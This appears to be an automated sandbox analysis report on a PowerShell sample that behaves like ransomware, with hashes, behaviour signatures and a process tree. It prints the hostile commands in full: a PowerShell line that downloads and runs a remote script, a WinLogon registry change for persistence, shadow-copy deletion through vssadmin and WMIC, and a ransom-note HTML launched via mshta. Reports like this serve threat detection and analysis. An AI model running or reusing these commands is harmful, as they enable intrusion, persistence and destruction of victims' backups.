Analysis
- user interaction
yes - max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 14:40
Static task
static1
Behavioral task
behavioral1
Sample
file01.ps1
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
file01.ps1
Resource
win11ltsc2024-20260709-en
12 signatures
150 seconds
General
- Target file01.ps1
- Size 226B
- Sample260823-r2dkfsswat
- SHA256 19ead3ae2123d5208f3c8cbccdad1fc23ed18509af27228d41cdc8af30c66cfd
- MD5 d5d9d5586dcd0c826aa0ad489d70dc14
- SHA1 71e3385dc7de6e3c058c095d4c581fcfa4068ec4
- SHA512 41baff94b189e069fca42967185d4536ed75f9812f5ea5a8069db5162afff61b88fd926020cd51a180ac2c65582432a9e2bc5eb7d9c2764cba29c5d0d4ad63f4
- TLSH T161D0977AD51CE74C932260EAA4DC7A7AA06A124CC73050402374CE8884102208329987
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"while($true){Start-Sleep -Seconds 1}\"" powershell.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4784 powershell.exe 6 4784 powershell.exe -
pid Process 4784 powershell.exe 4136 PowerShell.exe 3724 powershell.exe 3008 powershell.exe - Disables Task Manager via registry modification
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org 6 api.ipify.org - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1428 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4136 PowerShell.exe 4136 PowerShell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 3724 powershell.exe 3724 powershell.exe 3724 powershell.exe 3724 powershell.exe 5756 WMIC.exe 5756 WMIC.exe 5756 WMIC.exe 5756 WMIC.exe 3724 powershell.exe 3724 powershell.exe 3008 powershell.exe 3008 powershell.exe 3008 powershell.exe 3724 powershell.exe 4784 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe 3724 powershell.exe 4784 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4136 PowerShell.exe Token: SeDebugPrivilege 4784 powershell.exe Token: SeDebugPrivilege 3724 powershell.exe Token: SeIncreaseQuotaPrivilege 4784 powershell.exe Token: SeSecurityPrivilege 4784 powershell.exe Token: SeTakeOwnershipPrivilege 4784 powershell.exe Token: SeLoadDriverPrivilege 4784 powershell.exe Token: SeSystemProfilePrivilege 4784 powershell.exe Token: SeSystemtimePrivilege 4784 powershell.exe Token: SeProfSingleProcessPrivilege 4784 powershell.exe Token: SeIncBasePriorityPrivilege 4784 powershell.exe Token: SeCreatePagefilePrivilege 4784 powershell.exe Token: SeBackupPrivilege 4784 powershell.exe Token: SeRestorePrivilege 4784 powershell.exe Token: SeShutdownPrivilege 4784 powershell.exe Token: SeDebugPrivilege 4784 powershell.exe Token: SeSystemEnvironmentPrivilege 4784 powershell.exe Token: SeRemoteShutdownPrivilege 4784 powershell.exe Token: SeUndockPrivilege 4784 powershell.exe Token: SeManageVolumePrivilege 4784 powershell.exe Token: 33 4784 powershell.exe Token: 34 4784 powershell.exe Token: 35 4784 powershell.exe Token: 36 4784 powershell.exe Token: SeIncreaseQuotaPrivilege 4784 powershell.exe Token: SeSecurityPrivilege 4784 powershell.exe Token: SeTakeOwnershipPrivilege 4784 powershell.exe Token: SeLoadDriverPrivilege 4784 powershell.exe Token: SeSystemProfilePrivilege 4784 powershell.exe Token: SeSystemtimePrivilege 4784 powershell.exe Token: SeProfSingleProcessPrivilege 4784 powershell.exe Token: SeIncBasePriorityPrivilege 4784 powershell.exe Token: SeCreatePagefilePrivilege 4784 powershell.exe Token: SeBackupPrivilege 4784 powershell.exe Token: SeRestorePrivilege 4784 powershell.exe Token: SeShutdownPrivilege 4784 powershell.exe Token: SeDebugPrivilege 4784 powershell.exe Token: SeSystemEnvironmentPrivilege 4784 powershell.exe Token: SeRemoteShutdownPrivilege 4784 powershell.exe Token: SeUndockPrivilege 4784 powershell.exe Token: SeManageVolumePrivilege 4784 powershell.exe Token: 33 4784 powershell.exe Token: 34 4784 powershell.exe Token: 35 4784 powershell.exe Token: 36 4784 powershell.exe Token: SeIncreaseQuotaPrivilege 4784 powershell.exe Token: SeSecurityPrivilege 4784 powershell.exe Token: SeTakeOwnershipPrivilege 4784 powershell.exe Token: SeLoadDriverPrivilege 4784 powershell.exe Token: SeSystemProfilePrivilege 4784 powershell.exe Token: SeSystemtimePrivilege 4784 powershell.exe Token: SeProfSingleProcessPrivilege 4784 powershell.exe Token: SeIncBasePriorityPrivilege 4784 powershell.exe Token: SeCreatePagefilePrivilege 4784 powershell.exe Token: SeBackupPrivilege 4784 powershell.exe Token: SeRestorePrivilege 4784 powershell.exe Token: SeShutdownPrivilege 4784 powershell.exe Token: SeDebugPrivilege 4784 powershell.exe Token: SeSystemEnvironmentPrivilege 4784 powershell.exe Token: SeRemoteShutdownPrivilege 4784 powershell.exe Token: SeUndockPrivilege 4784 powershell.exe Token: SeManageVolumePrivilege 4784 powershell.exe Token: 33 4784 powershell.exe Token: 34 4784 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4136 wrote to memory of 4784 4136 PowerShell.exe 90 PID 4784 wrote to memory of 1812 4784 powershell.exe 91 PID 1812 wrote to memory of 4512 1812 csc.exe 92 PID 4784 wrote to memory of 3724 4784 powershell.exe 93 PID 4784 wrote to memory of 1428 4784 powershell.exe 96 PID 4784 wrote to memory of 5756 4784 powershell.exe 99 PID 4204 wrote to memory of 3008 4204 userinit.exe 102 PID 4784 wrote to memory of 3464 4784 powershell.exe 105 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1', 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'); & 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'"2⤵
- Modifies WinLogon for persistence
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp" "c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP"4⤵PID:4512
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724
-
-
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1428
-
-
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5756
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\\darkside_lock.html"3⤵PID:3464
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-
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4528
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C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "while($true){Start-Sleep -Seconds 1}"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3008
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 0be6d2b42374447bc9d2fc32f7b7341dee8e35a07dd879deb04152fac4be8b82
- MD5 f637ba70a2216f5a2374c55ca28e9c7c
- SHA1 960e0a761e6d5fd431d62ece25a8ab6a8c3121e0
- SHA512 daa3fe684921cf3260a5e65422a6bf8651e3ab758890af723a340b6232e0c2da2f9507ec23579624b3406ebd69290343bff4e72089c83df8a0b10b391a11641a
- SSDEEP 1536:eKLg0xCw2hk6vffKQVAflJdpCUp9Yvh4iUx9R40i71Yi+MQyPRWrxMV3CNBQkj2/:eKLg0xCw2hk6vffKQVAflJd0Up9YvqiB
- TLSH T145637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 a3bbb5e7a3d17af871c416ea22c6d963a5b9427d12eeeb2db7ba33bb841eabee
- MD5 c693835e9803285768bcd0ad9ed6f851
- SHA1 3fc84976acf24b0a96837dd11c7a043e376bbda0
- SHA512 8b69354c2ef2a01f76033c553a37e3a94be52f4d54294ab8065340df556b1e7a2ca44a56817c6540570f89b7f6de6775d0a26903c222cacbd24fefe8947e27ca
- SSDEEP 1536:MKLg0xYo2hk6vpfKQVAflJdpCUp9Ybh4iUx9R40i71Yi+MQyPRMrxpibjoRjdvR0:MKLg0xYo2hk6vpfKQVAflJd0Up9Ybqiz
- TLSH T1C0637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 2KB
- SHA256 38aa7ecbe7426c797e12fda69fe1ba838b8e88cb37785445fe7651ad203f08d9
- MD5 035b20a36368fe57bd8f9d86e7319bfb
- SHA1 580e8a2b5c67362c625ac287da18c4a572e082ad
- SHA512 ea3ab575acedd2c47d2ecc7b9f16b5324eb564236671fb0a4ce84ea8c4ca0fc33e30e82570fd49bcbbf2923039b193167a2b0864d7e9e4404926b1caf481458c
- TLSH T1F851D973F3CCA616E88A443E10C9AC0532B9C6D7C09EAFA3BBB4D544B13B299DE5C045
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.dll
- Size 3KB
- SHA256 5b1290963666914e3a9639da3de2c81b9c48d07369c08409b0f506d0c0ae2b7f
- MD5 b2541c7817e35c05eb78ed226fb3c5b9
- SHA1 001310c3c0dcf6b74a512467ffd19b507024852f
- SHA512 af1cfc4bf745cc0f6a04a095d308b513560ea8077b136a9639e995a19352ce46358329f71c42c31c7cdf35987df2f5dcf6f7f30b489915588d5057fe9b638c13
- TLSH T13E51BC17A3E8466BE4B70B346EF3036727B4F8609FB3536E49C00228AC606185D75FB5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp
- Size 1KB
- SHA256 4c82d0238d8bc293dcde168757e877b573467432364cab6d1ec633214b6dec28
- MD5 967d8343df95a9aa2fe60d9bb8c1d49c
- SHA1 b6f5bdf64a92cbe18a0744e7abaf88b1ed63d83c
- SHA512 e21de1047fd5a492f1cede627afa8853fdf51e71f8c4c7832f55cbca5b5db476b267e7581afe66c6df51b4b5cf4baa81f7554bac1024703ff1ff11b95eff940b
- TLSH T136218C0593EC871EF0734731AAF6572BA274FDA9DFA2636B854042282C51904EEE0B72
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dk1d4vzz.bv0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\darkside_lock.html
- Size 4KB
- SHA256 1b98f0ed58802539e589ec6bfa07273a1d237113a99910617c3358ed16319632
- MD5 8fd2861a312a0338f85560719a3bd79f
- SHA1 a314e2f1015fbcaf33f1a318d4c55d63094a9f34
- SHA512 726033d19bb9f1e138b6c22780c9a1b92579c161e7c9bf9c60d7f939b9c393ee1bbd1d57276de4c051d6a59db059d38d7d3d138b523b22044f7823253e390b2a
- SSDEEP 96:fZ7/nFNprgGPyFVZR5/k3XIisi+TDvki/Q+ir7U2CD8c:fZzXprgGPyFVV/k3Yisi+vki9iPCAc
- TLSH T18BA1A667681218166377EB6AAB73C789F134101314030F6CFD9C61A1CFBAD2246A3FA8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.0.cs
- Size 170B
- SHA256 55bb19b58f1e8cc33b461847e8079a910251e4e66e4ec6a22f4ec2bc1b308408
- MD5 7c3b8651a72b2201b6cb4e9e4cab04ec
- SHA1 cda010b1c8c58a8d8b20ee6bb77c46a6fafc0f21
- SHA512 3bc0062442cafd277bbdaea4a1eb4a56c34c219b3f508cb3d6ec33a8b8c43c9f79f0ef618f4194d8d76fe51d16fa75982075372e626702071d4a32817b942b54
- TLSH T12FC080257E576AF600024D170C42F0FD77B711742667251596D55310FF4E00D4130A55
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline
- Size 369B
- SHA256 20d4b7162c5491eb44cabf2a9e3a7722a85f14e88140c092240cabdc8c4892e0
- MD5 55bc37b76cf92f47dd074e19b62ca5b0
- SHA1 1932d9132d07a328e66ddd3786e8fc4140809dc5
- SHA512 41670cdc3f6af3ce96c316956da5e8dedc1b19374080a91443c02aac0064725a71eb8d150dd7f0047e7e89ed58cc0a0cd74bfe5f8488e29d6bb7fc50e7d353ec
- TLSH T196E0C02B8246C67D21DD2407216FC8ACC3F20B4329427F9450C0442DD1FF0012BD2741
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP
- Size 652B
- SHA256 5e398e9143ffd20fd63c776695e82d1ce84b7d816395b3c540c12eb73953f01f
- MD5 71c098e8968c42557dfe9ea268784d17
- SHA1 79dd9ea639463c6f4d8ed4cd16c9cd1389a20567
- SHA512 5521b074e6f708c4c79c6ee8e89fbff8685579074d2d7819100d9341b44e7c8030025436268693ff2b5ed3685b59324f7c5cbb31df413e04344fc4af9af213cd
- TLSH T108F05E4963FC020EF0F34B30BEF6436395A8BCA4DE3293ED1540032928649148972FB6
- MD5 SHA1 SHA512 TLSH